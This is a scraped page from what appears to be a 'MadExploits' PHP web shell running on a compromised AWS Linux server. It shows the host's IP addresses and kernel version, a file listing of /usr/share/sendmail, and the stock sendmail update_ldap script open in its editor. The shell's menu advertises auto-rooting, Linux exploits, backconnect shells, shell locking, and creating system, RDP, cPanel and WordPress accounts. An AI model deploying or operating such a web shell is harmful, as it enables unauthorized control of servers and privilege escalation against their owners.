Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.188.73.229
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
sendmail /
[ HOME SHELL ]
Name
Size
Permission
Action
cf
[ DIR ]
drwxr-xr-x
examples
[ DIR ]
drwxr-xr-x
Parse_conf.pm
29.37
KB
-rwxr-xr-x
Parse_mc.pm
31.58
KB
-rwxr-xr-x
buildvirtuser
6.28
KB
-rwxr-xr-x
doublebounce.pl
6.15
KB
-rwxr-xr-x
dynamic
12.27
KB
-rwxr-xr-x
hoststat
31.9
KB
-rwxr-xr-x
mailq
31.9
KB
-rwxr-xr-x
mailstats
31.9
KB
-rwxr-xr-x
newaliases
31.9
KB
-rwxr-xr-x
parse_mc
2.77
KB
-rwxr-xr-x
purgestat
31.9
KB
-rwxr-xr-x
qtool.pl
24.08
KB
-rwxr-xr-x
runq
31.9
KB
-rwxr-xr-x
sendmail
31.9
KB
-rwxr-xr-x
smcontrol.pl
7.4
KB
-rwxr-xr-x
status
31.9
KB
-rwxr-xr-x
update_auth
9.92
KB
-rwxr-xr-x
update_authm4
7.84
KB
-rwxr-xr-x
update_conf
15.15
KB
-rwxr-xr-x
update_db
15.23
KB
-rwxr-xr-x
update_ldap
3.48
KB
-rwxr-xr-x
update_mc
10.28
KB
-rwxr-xr-x
update_mk
20.76
KB
-rwxr-xr-x
update_notices
7.19
KB
-rwxr-xr-x
update_sendmail
3.44
KB
-rwxr-xr-x
update_smrsh
2.42
KB
-rwxr-xr-x
update_sys
7.87
KB
-rwxr-xr-x
update_tcpd
1.93
KB
-rwxr-xr-x
update_tls
9.34
KB
-rwxr-xr-x
update_tlsm4
7.71
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : update_ldap
#!/bin/sh -e #----------------------------------------------------------------------------- # # $Sendmail: update_ldap,v 8.15.2 2020-03-08 00:39:49 cowboy Exp $ # # Sendmail support for LDAP # # Copyright (c) 2000-2010 Richard Nelson. All Rights Reserved. # # Notes: supports local umich-ldap and openldap v1/v2 servers # #----------------------------------------------------------------------------- set -e # # Flag to determine if this is an install or update NEW=0; # # Flag to determine if any local LDAP server was found FOUND=0; # # Path to LDAP server schema directory LDAP_PATH=; SCHEMA_PATH=; SCHEMA_NAME=; LDAP_VERSION=; # Path to other sendmail helpers if [ -x ./update_sendmail ]; then sm_path='.'; elif [ -x $(dirname $0)/update_sendmail ]; then sm_path=$(dirname $0); else sm_path=/usr/share/sendmail; fi; # Bring in sendmail.conf for the network definitions if [ ! -f /etc/mail/sendmail.conf ]; then if [ -x $sm_path/update_conf ]; then $sm_path/update_conf; fi; fi; if [ -f /etc/mail/sendmail.conf ]; then . /etc/mail/sendmail.conf; fi; if [ "$HANDS_OFF" != 'No' ]; then exit 0; fi; install_schema () { # # Install sendmail.schema in the appropriate place # if [ ! -z "$SCHEMA_PATH" ]; then if [ -f "${LDAP_PATH}/slapd.conf" ]; then FOUND=1; if [ ! -e "${SCHEMA_PATH}/sendmail.schema" ]; then NEW=1; fi; cp -p /usr/share/sendmail/examples/ldap/$SCHEMA_NAME \ $SCHEMA_PATH/sendmail.schema; chmod 0644 $SCHEMA_PATH/sendmail.schema; chown root:root $SCHEMA_PATH/sendmail.schema; fi; fi; }; # # Check if OpenLDAP (2.0.x) is installed if [ -d /etc/ldap ]; then LDAP_VERSION="$LDAP_VERSION OpenLDAP V2"; LDAP_PATH='/etc/ldap'; SCHEMA_PATH="${LDAP_PATH}/schema"; SCHEMA_NAME=sendmail.schema.v2; install_schema; fi; # # Check if OpenLDAP (1.x.x) is installed if [ -d /etc/openldap ]; then LDAP_VERSION="$LDAP_VERSION OpenLDAP V1"; LDAP_PATH='/etc/openldap'; SCHEMA_PATH="${LDAP_PATH}"; SCHEMA_NAME=sendmail.schema.v1; install_schema; fi; # # Check if UMich-LDAP (3.3) is installed if [ -d /etc/umich-ldap ]; then LDAP_VERSION="$LDAP_VERSION UMich-LDAP V3"; LDAP_PATH='/etc/umich-ldap'; SCHEMA_PATH="${LDAP_PATH}"; SCHEMA_NAME=sendmail.schema.v1; install_schema; fi; # # Tell them about the new wizbang features... if [ $NEW -eq 0 ]; then :; else echo " "; echo "Creating/Updating $LDAP_VERSION information..."; echo " "; echo "$SCHEMA_PATH/sendmail.schema has been installed"; fi; if [ $FOUND -eq 0 ] && [ $NEW -eq 1 ]; then cat <<-EOT No local LDAP server was located (tried openldap v2/v1, umich-ldap). If you wish to use sendmail and LDAP, you'll need to make sure your server has the requisite schema setup. You can find the schema (old and new) in the following places: * $SCHEMA_PATH/sendmail.schema for the version of LDAP you currently have installed (if any) * /usr/share/sendmail/examples/ldap/sendmail.schema.<v> where <v> is <v1> for older schema (sendmail.{o,a}t.conf) format <v2> for newer schema (sendmail.schema) format If you later install a local LDAP server, be sure to re-run $0. EOT elif [ $FOUND -eq 1 ] && [ $NEW -eq 1 ]; then cat <<-EOT You have a local $LDAP_VERSION server! Depending upon how (and if) you wish to use LDAP with sendmail, you'll want to check your slapd.conf file and possibly include these files: * $SCHEMA_PATH/sendmail.schema <- alias and other map support * $SCHEMA_PATH/misc.schema <- OpenLDAP V2 ldap-mail-routing If you later change your local LDAP server, be sure to re-run $0. EOT fi;
Close